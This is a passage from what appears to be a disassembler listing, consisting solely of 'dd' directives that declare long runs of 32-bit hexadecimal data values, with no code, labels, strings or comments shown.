		dd 0DDC4ABEh, 1C2C6E8Eh, 0B788408Bh, 951A9738h,	2B12AE5Ch
		dd 292285E6h, 0F0988C80h, 0F8893297h, 0BF0E403Bh, 3486DC3Bh
		dd 68124A1Ah, 97D9C0D8h, 0C9149030h, 5E9D0380h,	0EF16C43Dh
		dd 0A29ABC20h, 0D97A0E06h, 5E60C838h, 0A6A076B5h, 8CE38A05h
		dd 84FB96A5h, 0A03DB75Ah, 3168312Dh, 45B68825h,	0C7882B03h
		dd 9AB64B5Eh, 0C01AC8A6h, 0DA024854h, 0BD85B817h, 825E6C2h
		dd 121089Fh, 10C3B904h,	2AE964A9h, 638720FAh, 7877D84Bh
		dd 9429DE3Ch, 80EB2E05h
		dd 0C2A2BBFCh, 0E64B4A97h, 10FDF34Fh, 4F150DC6h, 0A5A2C612h
		dd 4CD38101h, 2E32C851h, 6DAB5A24h, 656A3F21h, 0B2B87B16h
		dd 55F31D35h, 47740683h, 2C4980Dh, 0C8543E7Eh, 0C0371B0Fh
		dd 0AA0C597Fh, 626520D8h, 884F4A7Ah, 66B03EB7h,	91269CD9h
		dd 7D150D26h, 133049E4h, 65C47BC6h, 0A09EA7FFh,	92C18A9h
		dd 0F6DDF9ADh, 0DF1756DCh, 0A607C8Dh, 94E11245h, 6AC2E128h
		dd 49E83CBDh, 34505B04h, 0B8AA9406h, 0DBCA4A22h, 79B260C3h
		dd 614E9E7Ch, 92E15EA6h, 0F6282E61h, 284FB578h,	0FFE8A964h
		dd 3BA19580h, 0FE02CFBCh, 16C14A6Dh, 2AF355B1h,	25FE42F0h
		dd 0F1CE676Ah, 4012CDB5h, 0FF084E8Ch, 8AB7E112h, 749DDBE2h
		dd 4633C251h, 0EF51D85Ch, 6B7B7Bh, 0BD9CA592h, 4B2349CFh
		dd 22B38A4Eh, 0DD8A1389h, 295D0B60h, 58583DA9h,	0CD781AB3h
		dd 5DEF01FDh, 18B1EA8Bh, 2DA620A4h, 0D22A2741h,	0E5251043h
		dd 3B0856C0h, 5E7F0035h, 0DED69E83h, 932D476Ah,	2BBCE1D8h
		dd 955C5B02h, 0DF254EAEh, 833EA4B7h, 5BA0A118h,	2562BEF9h
		dd 0F34E01C1h, 2DE98983h, 87243A32h, 0B8B68F52h, 3A2FBC4Fh
		dd 1E649FAh, 0C71751BBh, 9B3E6A0Ch, 365EC0DCh, 407D993h
		dd 2BADB633h, 147F8F8h,	61D86867h, 32A3249h, 56622784h
		dd 6BAA30BDh, 89009E6Ch, 0A754EB45h, 20E1B86h, 0FCAF6546h
		dd 605C5FCAh, 31546D6h,	9501C586h, 0F84725FDh, 909554C6h
		dd 1DA86E2h, 0BD32EE44h, 64CFC135h, 730541C4h, 1E8E95Bh
		dd 97DBE5C8h, 3DD74A09h, 0D73D85C2h, 0DA0B82E4h, 624455Ch
		dd 62F10BFCh, 9A554283h, 0C6F15D5Ah, 6CF8600Ch,	38F3BDD1h
		dd 2D9EAF28h, 2EBF5080h, 4B0DF4DCh, 2F388D5Fh, 891667F3h
		dd 8B2EB906h, 13E25F9Dh, 802FBDD5h, 41274C56h, 0D909D2B8h
		dd 54301120h, 57506198h, 84A2E8BBh, 7FAD174Eh, 599D2B0Dh
		dd 0ED122AE5h, 83939EEAh, 0E8F47C3Ah, 39C52750h, 0BD0B992Bh
		dd 9CDF0B15h, 865E97B3h, 0FA777B8Eh, 13107555h,	0E9002FEFh
		dd 0C85C1381h, 5809CDh,	0C004DD27h, 0E35F8B90h,	521C58B8h
		dd 5122880Fh, 526ABF5Bh, 0FCDD240Bh, 20C8296h, 0D16140F6h
		dd 3D0700F3h, 0A9A7CDA6h, 33275250h, 4837F713h,	77AC2100h
		dd 3AFC6280h, 2D4C998Fh, 0B91E7516h, 13A2D47Dh,	32FF0B55h
		dd 0B7108A0Ch, 0D65A8369h, 50C9D2FDh, 0DD2FC5F9h, 904F2A18h
		dd 9CDB8100h, 0BB3D77ECh, 822E2F06h, 392BC50h, 0E7BB6D9Fh
		dd 2A680066h, 2B90B84Ah, 0FC816170h, 95E6E6D6h,	0BBA7DBh
		dd 937DF387h, 16DCC54Eh, 0EE4D4C64h, 0FC25C5CBh, 0DB2D43CDh
		dd 87D67073h, 0B7881404h, 25ABF9A4h, 9C02BAB1h,	5561F5C0h
		dd 467C8B6Dh, 2921001Dh, 0E5E19C09h, 0C06A1EF1h, 49854B06h
		dd 514192EAh, 0C99E6A0Eh, 1AE8A780h, 14978440h,	449206Ch
		dd 4E955895h, 0F6D7FC12h, 726D9F27h, 18601A64h,	6C0913D1h
		dd 186DC286h, 2BEA892h,	96847119h, 905C8E8Ch, 42F38061h
		dd 4A858230h, 0F28CB601h, 4C983015h, 5DBD0B09h,	9F93730Eh
		dd 1A2B278Bh, 902D247Ch, 0F45EBA1Fh, 1A550031h,	8F768AABh
		dd 0BB00E5F3h, 0C81B7861h, 0BC5BF98Bh, 6021C753h, 0C4231FF3h
		dd 6A85834Fh, 0BF1288BAh, 0D8DEC20Bh, 53EF757Ch, 41ECB2E0h
		dd 92220017h, 0CE757984h, 9D25BD29h, 9F94CE19h,	0CC013CB7h
		dd 0A4F1B7FBh, 44E844F0h, 74F4E70Bh, 797BE1F0h,	85388C09h
		dd 812C023Dh, 0EF5F0431h, 1FA21BCAh, 0BF25D058h, 0BDB9C6DEh
		dd 0FC9751E4h, 57B378F8h, 2C20FB9Dh, 32093E7Dh,	0E1E20D76h
		dd 25B914D5h, 0F6598D0Fh, 5E34574Bh, 9BF7A617h,	7FB1A912h
		dd 5D50C560h, 8BBC1820h, 0B2875400h, 502A6ECAh,	516D05EDh
		dd 0BBB99589h, 0F92EF9F1h, 8469A92Ah, 48294E81h, 4AF76CC1h
		dd 0B2B71CDh, 0F863FF69h, 0CFF97DF8h, 0DAEC455Eh, 48A402AAh
		dd 0DF61DDF2h, 0E2FFA4C2h, 1BB55523h, 0C1801891h, 0ABEB52B8h
		dd 1E05BB75h, 6050259Ah, 0D93B20EEh, 0DB0495D0h, 5282F18Dh
		dd 218079B8h, 0A47ED2E7h, 0C307A900h, 0FB9D37EEh, 2FE12E06h
		dd 0A47E2766h, 11D38180h, 8C283B6Dh, 218DCCC5h,	4AA88BAFh
		dd 54A85FB9h, 12D6BA02h, 0DCCB83E1h, 4A7C6BFCh,	9E8ECB3Bh
		dd 0FDC2E179h, 6E8308B7h, 0BC977508h, 84F1EDAFh, 0E61A2D4Dh
		dd 96947156h, 0EAD4AAFh, 92DFC825h, 42C65E65h, 0F975AB67h
		dd 966142DCh, 18DCB956h, 962A5360h, 77970699h, 0F14ADE94h
		dd 1A010B8h, 109F5195h,	95246DD5h, 78A74C73h, 1E155634h
		dd 0AFF98A13h, 71933BDAh, 2396E23Eh, 7D00039h, 356F1C70h
		dd 8B88007Bh, 0B6081977h, 134B61A4h, 5F35F68Ah,	199BFB38h
		dd 0ABE93FC5h, 0C980842Ah, 359D0308h, 0F1283241h, 0BB86844Fh
		dd 0B74E1BE6h, 640309A7h, 0C1FA71C5h, 1205ADBDh, 25DB2945h
		dd 1051BD0Eh, 0E2C14A76h, 2DE95AB6h, 5D8D8FC0h,	81040C51h
		dd 29782F58h, 0F43F1DE1h, 539D5FCEh, 181459F6h,	9118B7D2h
		dd 5D00886Dh, 5A79D3FEh, 1266D91Eh, 0B4CE14BBh,	8B3B521Ah
		dd 0FC6AA5D8h, 10EDEAFh, 0E2BF685Bh, 92144F3h, 6AB7617Fh
		dd 0C00DDB3Bh, 5C16E28Dh, 2805E67Dh, 128E3B1Ah,	0AEE95F43h
		dd 0ADE532F3h, 12B580ADh, 26A4EDEh, 29728517h, 0C55D870Fh
		dd 91B100E5h, 297AF661h, 0BEBCFC09h, 0F3DC0C5h,	27286982h
		dd 0B9F4ABC4h, 59ACA300h, 96864838h, 0AB2C02EEh, 0E19131D4h
		dd 0CA40B4D6h, 65B9ECh,	744A3E28h, 25605CABh, 3EBEF05Eh
		dd 9A172B83h, 4FE9F507h, 0BACBE1AFh, 442E3666h,	0FE9E6122h
		dd 4017245h, 90F1CE25h,	0A927ED2Ah, 26D71Ch, 0B9A0C34h
		dd 8E35E808h, 642F7C95h, 55A2AB83h, 0FF2E8801h,	84FE8BD1h
		dd 44C3DBA0h, 0D219E6ABh, 9EA0DBB6h, 410049BDh,	0F7C781CAh
		dd 2718D40Bh, 756D026Ah, 0A45AF8C3h, 36C0A081h,	0B2C1882Ah
		dd 41CF7EAh, 0F2492692h, 8AD2403Bh, 8CF3B7DDh, 3CCF7725h
		dd 85291640h, 0BE0B4A3Dh, 0CC5D106Eh, 9D4FAC93h, 9ABAF02h
		dd 79E1C0BEh, 38B7801Bh, 1C97E977h, 5F4D20F6h, 757A1993h
		dd 62960071h, 0B081BE9Bh, 6A3FFD1Dh, 1BA86BFDh,	0C180099Bh
		dd 0F299FF4Fh, 0E4D95884h, 0D6D0F84Fh, 844B1FAEh, 0F0614728h
		dd 0DA5D8BBCh, 9DB51C2Ch, 0B44A4FFEh, 4BDEF190h, 0FB35C43Bh
		dd 2901D77Eh, 2FC08973h, 0BFFDAB0h, 525A566Dh, 962555Ch
		dd 7DA1F28Dh, 4F9DEA6Ah, 3549C8A5h, 31D7065Fh, 28AE0D64h
		dd 638A0CB0h, 571EAA66h, 0BFD8B018h, 8A359902h,	5570E637h
		dd 8D3469CCh, 93AB31D5h, 573B293Bh, 214A7F0Bh, 0D827B9E3h
		dd 0C10AB264h, 2833DB0Bh, 12FA2945h, 1908E3F4h,	1158F9B7h
		dd 9F3CF92Ah, 0D909A956h, 170378FCh, 4B41BD29h,	12DF3300h
		dd 120B5C1Fh, 8026E889h, 8BFCC82Bh, 0F7525CD1h,	5FA90133h
		dd 227579AFh, 0A680E9DFh, 12D90D4Ch, 0BEA1BD23h, 9AA16D5h
		dd 0C8575088h, 861FE12Ah, 4E3D6095h, 8FCE95C4h,	19CD7AC6h
		dd 604A446Dh, 5BBA6600h, 0E27EBFFBh, 612525FAh,	0C190FAC6h
		dd 5EE69625h, 92D75A10h, 5AF37011h, 9FEAB201h, 19E19544h
		dd 0E7611024h, 2585C52Ah, 0FBCCFA8Ah, 0B0D9D720h, 9CDE959Eh
		dd 0A1F15DE9h, 18E90614h, 0C9AA955Ah, 1A7E9D1Fh, 5FB5A8CCh
		dd 80A9E923h, 3A8465ADh, 549598A8h, 165FA3CDh, 0E71037B9h
		dd 6306A055h, 13EB0BBAh, 125703EEh, 9D604D9h, 7BFCE121h
		dd 2C00356Eh, 53EA9DB4h, 6F016694h, 2277A9BBh, 4773FC06h
		dd 54ED300h, 7BEAF502h
		dd 0DC89770Eh, 61E913B8h, 3331CDECh, 29DC8F4h, 4AECE32Ah
		dd 88024DAh, 68CF565Eh,	0F80DA300h, 8A0FFA69h, 0E227D21Ah
		dd 2AC700F1h, 61AA80EFh, 0C05B0159h, 3497ACC1h,	46D0D78Fh
		dd 547DB706h, 9120BF97h, 0D69F8319h, 1586D02Dh,	91BB01BFh
		dd 8C0F0977h, 4829AC02h, 0A011C425h, 9D2B6D33h,	1579815Bh
		dd 0AD4ADB18h, 271A2C1h, 0BCE66Bh, 0F0ACCC43h, 1C72C27Dh
		dd 0FC6D90h, 0D0A1282Eh, 612F21CDh, 958B7851h, 4575F99Ah
		dd 0C675CB96h, 4F51098Bh, 9E4D6545h, 0F4FC21C0h, 4C8204C4h
		dd 0C0A7BBB3h, 0BEEE8138h, 0C80A2661h, 0D830C0FEh, 8AFF4BBFh
		dd 517234EFh, 0A900A36Fh, 0CCFEBB18h, 7E9D6963h, 0C494FC6Bh
		dd 0D1E0BA4Dh, 0AFDE9F13h, 0EFF3BF40h, 0BF7E4EB0h, 82807534h
		dd 8015859Dh, 40C2E1FFh, 50F5ADE7h, 8E2BF7B1h, 2E1322C4h
		dd 25E69509h, 80C03E5Ch, 13F00357h, 0AB9DE22Ah,	0EC31A369h
		dd 0B32AD461h, 83C68AFFh, 0DA7BF80h, 0BB606BE7h, 5AFF7AD4h
		dd 0BC27131Dh, 0AFF712BBh, 0ED7ADBB1h, 27CCE824h, 0B5DBD2Bh
		dd 46F4D8F4h, 83B24A89h, 3571D92Dh, 83A92134h, 0AD1689CEh
		dd 8D12DDD8h, 60A5D2BFh, 0C557E7E2h, 6E7F25C9h,	23519D02h
		dd 0DCADB18Bh, 0F6DC2EB0h, 8060700Fh, 0A1B86FEAh, 610F6A79h
		dd 22219238h, 1C45C831h, 0DDF26800h, 0BB6CA601h, 20BFA20Ch
		dd 0DE5032Eh, 0AEE4B9DEh, 0BC9376A8h, 0F6ECD248h, 0EEDEC5D7h
		dd 602D7CCAh, 0B5C2A7DCh, 9847E4BDh, 61A68904h,	0B923842Bh
		dd 337E8A2h, 96B6AA8Fh,	0E0127D1Eh, 70AE08FDh, 3B31BF33h
		dd 0CD7F1B25h, 601B64C6h, 4E4D8D7h, 1E78EE2Ah, 0D13281EFh
		dd 51814821h, 20B7185Ah, 0AD30EA4Ah, 13E14733h,	0AA10B76Fh
		dd 0DD95F760h, 41AC8423h, 0C2FC8A25h, 0E0C26DC0h, 96A03CBFh
		dd 0F98A5707h, 8B51505Bh, 60EA5FDAh, 26E1614Ah,	6E137810h
		dd 20C3EE93h, 0BFB8EC27h, 0B1D9B75Fh, 12F87710h, 0D8E704F7h
		dd 0A03B3254h, 258402C5h, 0C6C72A21h, 5D41122Fh, 0D9F8600h
		dd 0FA00EE3Ch, 0B00ABAA0h, 1CC2F8E0h, 6E50905Fh, 23D70BEAh
		dd 3E62F85Ch, 0A0995798h, 2DF86B51h, 90DABF80h,	5B2D46F7h
		dd 5CDB758h, 0BF656B52h, 3ECB8E20h, 0CA4C090Bh,	3975ECF8h
		dd 642DB3h, 0BF8D5E5Fh,	92000D7Eh, 0B0665FE8h, 6A090BCCh
		dd 579FB3E2h, 8F713D08h, 66C5A02Ch, 20B250h, 3328807Dh
		dd 3A52E1h, 0D7DE8DF6h,	3D6B4A8Fh, 8C3FA202h, 8266B341h
		dd 0DD880FAEh, 318234F9h, 0FD2FC18Dh, 0E8EAAA4Dh, 468F23E0h
		dd 68CB1794h, 999BFE4Fh, 0FE1E6A85h, 0F510CEB6h, 9D291624h
		dd 93E61ADh, 0AD08F116h, 0CBFDB4D9h, 9499FCA9h,	6825ACF8h
		dd 629CDD16h, 0E9352662h, 963D7F3Ch, 8D7CE980h,	97F820FCh
		dd 5F72189Dh, 3755E7C2h, 0EC310282h, 0E95C9FCEh, 9D081E51h
		dd 0E2263121h, 0CF75040Bh, 1C8E4081h, 8912F72Dh, 52AC29BDh
		dd 0A00E8A4Bh, 0E6422E9h, 0AD636F7Ah, 0FC800EE8h, 0FA3B37CCh
		dd 818D006Bh, 7C516DCFh, 7C95C8D5h, 4453C935h, 0DAED50h
		dd 7006D8D9h, 0AC3365BFh, 0BBA8184Eh, 945F1B27h, 20F1253Eh
		dd 1579AD73h, 7162F818h, 5A18696Ah, 0C4DF4A31h,	0E46FB630h
		dd 126CB6AEh, 0D6B687B3h, 0E3018B2h, 7A7B148Fh,	592A80FCh
		dd 165B958Ch, 0CE181559h, 5FAF3655h, 0AD8B801Ch, 12D8F9EEh
		dd 0FA50CC26h, 9529D231h, 5F27916Ah, 41AF6056h,	57110A69h
		dd 0EDB11466h, 35BD0382h, 89F3D52Ah, 23099D85h,	582CE0CDh
		dd 0D38166A0h, 0E2910D25h, 0C67D00h, 2B050797h,	57493997h
		dd 6CCBCA6Dh, 86AD122Dh, 40E2BF61h, 0DF81AE00h,	17236508h
		dd 12E71B97h, 8D20E9B4h, 0D14EE384h, 3AAABB8h, 0A2A307C9h
		dd 428792B5h, 1D177965h, 441EC032h, 5BF88AE2h, 0CCF7CEFFh
		dd 0C5DF0788h, 27499621h, 0B35B4B50h, 38D63270h, 360B34DAh
		dd 8083E49Dh, 0FA155559h, 81751CC5h, 2C5D8589h,	8ED72B2Eh
		dd 665664BDh, 758E1282h, 5BE901F9h, 0D7A470CBh,	75294514h
		dd 0D6522591h, 0A61E6F67h, 8F25DE42h, 1E4005D2h, 320F8F28h
		dd 0F92F0180h, 44F6C966h, 2B8B5C00h, 0DFEB86F7h, 0A8C80BD1h
		dd 66D7369Dh, 3ABF1AC4h, 0EFDD55A2h, 0F84609Ch,	3E055E60h
		dd 529BCC20h, 82D14740h, 37BA97h, 0A9F5BB49h, 1F7DC7D6h
		dd 0FE8ACD12h, 0C84ED9E3h, 0CE013639h, 7310E141h, 282E67C6h
		dd 0DBE60B4h, 868E4F6h,	6476914Ch, 771B410Bh, 0B0CB0ACDh
		dd 72165D0Eh, 31BD0025h, 0AB75BB98h, 0C7B00155h, 71159525h
		dd 0F07027B6h, 0CBEBD9BDh, 0F0FF754Ah, 336D033Fh, 0EA5B414h
		dd 0BE5CAFFAh, 9CFF8192h, 0CB0062BAh, 6F0CFEEh,	1EAFA58h
		dd 25F42B6Ah, 2BC18B1Ch, 6412D320h, 4A6E002Ah, 5DCBC704h
		dd 570369CFh, 30E161A2h, 5C1FDA80h, 0B55552C5h,	3B2F00F2h
		dd 50F9A832h, 0A940F6B4h, 8773FFh, 48F5786Bh, 0B0A53E5Dh
		dd 634F7504h, 37F102CDh, 45B8D939h, 0A7CBA101h,	651C4647h
		dd 4025A420h, 0BB136620h, 0B44EFE48h, 6FAE92D8h, 8F5A285Eh
		dd 0E96E8813h, 870CDBAAh, 5E919BE2h, 42BF8A6h, 0EAC08391h
		dd 2A50DAB0h, 185FD8Ah,	92D4C781h, 7F6A559Ah, 428095ECh
		dd 1C79BD8Eh, 1CC0600h,	77361ACEh, 5F6C3B5Ah, 0EE552D05h
		dd 87BF3471h, 0F0E4902Ah, 3A005C45h, 0F1994CD0h, 25BC4AF6h
		dd 767877CCh, 51DC45B5h, 0B982CA4Dh, 0A9E1AC86h, 0CE75C265h
		dd 0D1FF2D1Eh, 0B40B84B7h, 0E96618A2h, 8A200B4Ch, 0EE04035Dh
		dd 715B091Bh, 545844A9h, 6AE10C73h, 4E6D9C02h, 8927FE12h
		dd 0CA938139h, 0F83F5C54h, 0FB93C68h, 0C9456325h, 12E204D9h
		dd 0A94A79ACh, 2FCABC5Bh, 3AFA7E30h, 13506197h,	0AA6F762Eh
		dd 3CBE9D4Fh, 439292CDh, 0FE54BB04h, 7A801B08h,	93E429D1h
		dd 70F7D24Eh, 3C05CD2h,	0B7F8D00Eh, 534E3F2h, 2219BD31h
		dd 0A9A89B53h, 0AE202E8Eh, 4BC085DDh, 95EA4700h, 0A6F5162Dh
		dd 0D97C0235h, 9050ADDAh, 27DC4654h, 0D56ED1h, 0F725BFCBh
		dd 0A0754FADh, 0E3AA7DF9h, 1981BB40h, 0F86E6181h, 0C204AA73h
		dd 0B821CF80h, 7AEF9222h, 89EA4B3Eh, 0CFE92EB9h, 82EC39A9h
		dd 0E0B34D65h, 94FF6AE1h, 223ADC58h, 410500B2h,	3FA0A5EEh
		dd 169AB8BAh, 0F834A4BFh, 0E1513B1h, 2877ABEh, 0BB1C7CA2h
		dd 0C49C5C5Eh, 33BF400Eh, 9558C725h, 85319458h,	70E67111h
		dd 0C389F07Ah, 71583A79h, 0C9FE25A1h, 8114ED89h, 2E963635h
		dd 33AA7B12h, 1C12C171h, 73E1DE12h, 0FEBA202Ah,	1100CE06h
		dd 1ED07C36h, 975003F7h, 0BF527700h, 0E16B7B5h,	4FAB5F47h
		dd 8110691Bh, 95895251h, 5F38B739h, 48A5E995h, 0E05D6912h
		dd 47285571h, 0F97CA949h, 55750B97h, 0C2F3BFC6h, 89D0B875h
		dd 0BC6B513h, 0E8F9244Bh, 1D4EDBC0h, 0F3D79BBh,	403ED18Fh
		dd 0E92F7FDBh, 0DD155D69h, 8812C29Bh, 8AE3C90Dh, 0EC5DF525h
		dd 88DF4BB3h, 578A3A90h, 2021C438h, 9D901497h, 1F804E71h
		dd 0A01546BEh, 8E4C000Fh, 0FB9BE327h, 992A9D31h, 0A4829D1Ch
		dd 0FE8B9318h, 0E9E3097h, 0FDE85EEAh, 153BCD2h,	0E8FFD898h
		dd 0A733D380h, 8925DBAh, 0C9A9D607h, 33A8B171h,	0D1B9FB1Eh
		dd 6EEE4A38h, 38CA0584h, 458157A3h, 896FFCE1h, 0ABE83AE6h
		dd 0A8A8704h, 29A3FFE0h, 0FCFA8B0Bh, 75A5BBB7h,	8529ED81h
		dd 0B8739ADh, 5413C9BDh, 9D23C0FFh, 24972259h, 38B8F87Ch
		dd 93AACF5h, 0F7563E5Eh, 890988C4h, 711B558Dh, 135B6B11h
		dd 0B2E050h, 816B771Dh
		dd 75866FEBh, 9A3153h, 0E2C026D4h, 196ECBh, 95B64BC1h
		dd 0CC2E1CE1h, 0A70C1F97h, 0F019037h, 0FAD780E3h, 756E7Eh
		dd 80D0BEA1h, 3EBB585h,	0B86044A4h, 4BD06348h, 90961F8h
		dd 0D70AF195h, 5D44101Ch, 0F9C70481h, 0BD163A8Ch, 8C17A883h
		dd 9F0BDF0Bh, 58582D8h,	6DF17D2Ah, 12245942h, 677090D3h
		dd 0FA31252Fh, 0EA0B0AC5h, 97CE3D03h, 17A4E2EFh, 2BBEDFB0h
		dd 2DCA4ABAh, 0FF76C334h, 91C0D0DBh, 0F8E9E4EDh, 97FD8502h
		dd 0FD662B3Fh, 5866A5D9h, 10D4955Dh, 8112266Ch,	8AF57B60h
		dd 0E8BADA44h, 0D4DB9249h, 36FA0C81h, 0D6BD3E97h, 73D0F4Ch
		dd 84144BFDh, 0E0B6A633h, 0B5087BB5h, 0E91D0B05h, 59012D1Ah
		dd 2F219ED9h, 54256B3Dh, 0FE90AF8Ch, 33044C02h,	548EFBE5h
		dd 4BD72C1h, 0ABFFBC2Eh, 28060373h, 63D0D7C9h, 47F3BF7h
		dd 0CBAA3239h, 45A64E87h, 3BFFA1A0h, 4984E20Bh,	1192DE90h
		dd 0AD603804h, 0D05CFB61h, 48394B73h, 122B0943h, 44737024h
		dd 8B25F501h, 605A42C7h, 9081D96Dh, 1B52000Dh, 0A5976815h
		dd 0E2B77EA9h, 3DB656A4h, 0A5B6A69Eh, 96EB2788h, 0CDCCEEF8h
		dd 1C6E09DBh, 1E8E0C5Ah, 20F5AB52h, 0ED4DF96Fh,	61E93DECh
		dd 0E780C170h, 9B342E5Ch, 0D580A6E8h, 0BA7BCFFFh, 0FD245303h
		dd 899A1520h, 85C07989h, 0BB990135h, 3B7CBE86h,	0FFFE935Bh
		dd 81DB2AABh, 12DF8042h, 0BC6A62Ah, 5523F59Dh, 75D0963Ah
		dd 0CEFC0DD6h, 29FC0612h, 0B06C6658h, 2514F799h, 0C0C006F8h
		dd 965AF98Bh, 44E8F2E0h, 0CF01F808h, 3493C3DAh,	853B7A9Bh
		dd 0E07A81D8h, 0BEE02A12h, 0C856B550h, 40244DE9h, 0FCC8E56Eh
		dd 54D72D02h, 5C174A73h, 0BF3365CFh, 9681FF4h, 4EC1731Ch
		dd 70E33918h, 30BDE79h,	552515BDh, 83C09C15h, 9521BA51h
		dd 5F49E554h, 9EE5AA89h, 745FD7C2h, 1638A481h, 0AB5CC411h
		dd 4D430E6Bh, 6A0BBE4Ah, 853D5561h, 7F0CB0AFh, 0DF490483h
		dd 0AC50B3EFh, 1719A333h, 0D7B5292Fh, 0B7F34E34h, 497B000Dh
		dd 0BF840847h, 95DE704Ch, 467CF96Dh, 0CE3A001Ah, 0A71673Dh
		dd 0AF2F9925h, 0FD004DCh, 84DB12C6h, 0EC508960h, 3716422Eh
		dd 0ADE8AEE1h, 63E85FA1h, 75D902F8h, 74AD8B2Eh,	71684020h
		dd 6B00B725h, 83F64808h, 2F5AE36h, 0F2DC0B2Eh, 96586EE9h
		dd 39BBF94Bh, 370C250h,	5F7A819Bh, 9480B174h, 8A6D3118h
		dd 0EF8102FCh, 4F225E95h, 0C7972945h, 834C9EFBh, 3F1071CDh
		dd 0BBDB31D4h, 0B44D786Eh, 6F603ECEh, 0B08ABD0h, 1D52719Fh
		dd 0BC0D9389h, 6ABA4BEBh, 0A7D84F88h, 0BE6F1D1Fh, 0B8D79296h
		dd 9739C02Ch, 0E65DBF9Bh, 0B59CFEEDh, 1D6427CDh, 3A2DAA64h
		dd 839DFE6Ch, 0B4C5B6FBh, 91FF008Dh, 6AF3BEC2h,	899D9A4Bh
		dd 0FAA87929h, 64C4C75Bh, 30B9A181h, 0BABB9600h, 5216940Eh
		dd 4FF5C150h, 60F21F54h, 9D1A41F3h, 18796773h, 54AB2A19h
		dd 0C2C0CBBCh, 56F36A82h, 491C4A00h, 90EC53A2h,	27B00607h
		dd 0B2F1A7E5h, 30BBDA4Bh, 3160F89Ah, 1258527h, 8D8B56FEh
		dd 21BDE53Ah, 0EED514F3h, 7A039A7h, 7D00C276h, 0AA2A486Ch
		dd 9D8D0F43h, 2540C5F9h, 4EA8EA70h, 0AC9AADAFh,	0F7048C14h
		dd 2311BD09h, 0C309E8AEh, 0D832CC29h, 21C4A9h, 9C3CBBCAh
		dd 7764A5AAh, 628B7C95h, 0E171F9BFh, 9C4F4A7h, 0FBDB04C2h
		dd 736C7D72h, 74302D26h, 13527060h, 0C6C0FDE7h,	904013A6h
		dd 64CDAE0Bh, 3CCC142Bh, 0CB71FE89h, 7FBF89BDh,	8DC6F7C1h
		dd 26DF7B80h, 5D02900h,	4217614h, 9AA15094h, 0CE7564D7h
		dd 35E7ABF9h, 0DDD55BF0h, 7FF73A09h, 0AF51E0h, 0AA4C6BDBh
		dd 40733175h, 7AAD5F00h, 0EE69A43Eh, 8C0F253Dh,	96405E79h
		dd 3F97537Bh, 629F8105h, 28DA4039h, 5D02DDADh, 5BDC6016h
		dd 1AAC2BB9h, 67A3018Ch, 6BAB2107h, 985B507Ch, 0D200E4C0h
		dd 2B82DD2Dh, 0EC430Ch,	0B66B9560h, 4767BB75h, 5B7D2202h
		dd 742FB750h, 81D42589h, 251E01DCh, 188B7B2Eh, 0AFF96E6Eh
		dd 99DD259Eh, 282ED9B1h, 0D58A3DDBh, 427B8C1h, 8A2DC1ACh
		dd 335C5E62h, 3DA9B916h, 9B965B12h, 505980B3h, 29F8522h
		dd 841FE381h, 0CE5E6517h, 12690055h, 0CB7E636Ah, 0DA01BA5Bh
		dd 8960A84Bh, 18C1266Eh, 7325E97Fh, 16887361h, 84B8B8FAh
		dd 0B3BB7647h, 38D60EC2h, 9FEF325Fh, 91F5C086h,	398DF97Dh
		dd 76587E17h, 800534C2h, 6FDD7F40h, 0CAEE4C17h,	91A2DAEEh
		dd 4C30C0B8h, 614B6D79h, 9AE7FE57h, 0DEF82ACEh,	0A5DE7CA2h
		dd 0B0BD27F6h, 68D0B686h, 9665CE17h, 3D12D1ECh,	0F20DF60Bh
		dd 26BE301Bh, 53CD9A02h, 0F7C92061h, 3D628CCFh,	0E1C2C0DEh
		dd 43719513h, 49027CEAh, 0F7F4E9A5h, 0DE7C90C2h, 0ED8004DCh
		dd 0AB92C2DDh, 0B87EDB23h, 83D3C8h, 9CFB637Dh, 0D46CA93Bh
		dd 0EFC8B4Bh, 12C19E9Dh, 8FD1F8DEh, 675D6ED3h, 80A09046h
		dd 12577A7Ch, 84FA08BDh, 49B404BDh, 815F002Ch, 0BE6832C7h
		dd 0E5AD9B33h, 0E32C5CCCh, 5A17D919h, 7621203Ah, 4100CCC6h
		dd 64964CF7h, 2417348Bh, 40A89589h, 6FD3F681h, 24BF3Bh
		dd 4CB86AEEh, 1FBB571Ah, 182B3016h, 0CDFA1A59h,	0B817D704h
		dd 1FC2AFE8h, 0FA996656h, 688839E2h, 1E0FA392h,	57E540A1h
		dd 0DB19B88Eh, 804798B5h, 5BCB01D5h, 0BB17048Fh, 1F5730BDh
		dd 15633FB8h, 0FDEA81C7h, 1158F5C3h, 38241D18h,	0EA2C45C2h
		dd 5BF4D180h, 9F1310DDh, 190465B7h, 580013EDh, 98B8FA81h
		dd 9AD5FFA2h, 0A9A602B9h, 1FE90230h, 1288E20h, 67B20012h
		dd 0A66D42FCh, 8B0DBAFDh, 465BE9DFh, 38C0FBC8h,	5D87AE21h
		dd 10248CB4h, 7C2206BCh, 9E940E00h, 0BD3FC8E1h,	169B07E9h
		dd 20A2465Ah, 8EEA152Fh, 3CE4F700h, 12B68596h, 0CE06009Bh
		dd 0E91D1EB7h, 0B4663EC5h, 0EFEA5739h, 19F795E4h, 8A53612h
		dd 792180AAh, 0D93B58B3h, 4157D21h, 52930542h, 0B7B80706h
		dd 0A612B313h, 6D760010h, 6B9FC026h, 7BE297C5h,	21F008DEh
		dd 266550h, 54FB0CF7h, 0F5129399h, 63F898C0h, 419B7061h
		dd 5D3080E1h, 8BDAD0FAh, 0CFCA0015h, 60B83292h,	4A60BB05h
		dd 0BFD21F88h, 0EA18CF80h, 1047B784h, 8C6CB84Ch, 7CBDA20Fh
		dd 2A15019Fh, 58808DA8h, 8B395A7Eh, 48E87784h, 0CDE2B200h
		dd 0A6946299h, 0E9F500CFh, 7AA17F1Dh, 0A000E1AEh, 0ACF74B8Ch
		dd 0F2F6EBA9h, 0DAE0A2h, 289C4079h, 718EB72Ah, 0C1E57F00h
		dd 0AD37732h, 1ECF0ED4h, 0A5A0D0B4h, 0C8D8E3F6h, 0E89D5400h
		dd 52C20444h, 64580019h, 8701203Dh, 5F0068F8h, 3C09DFEEh
		dd 0C6F692h, 0A79E46Ch,	2D45D199h, 0AF02F472h, 23586D56h
		dd 206F407Dh, 0DAB00031h, 0DD99B61Eh, 54FA3286h, 0E794641Dh
		dd 0F3071A00h, 73308061h, 95863E55h, 0D7980238h, 0F1D18CDh
		dd 62AE38C3h, 99B9A0C4h, 0A90331DAh, 0BEEE9051h, 85BD1E08h
		dd 0B4611300h, 4DBE75h,	4454DB77h, 5134C01Bh, 44A33F28h
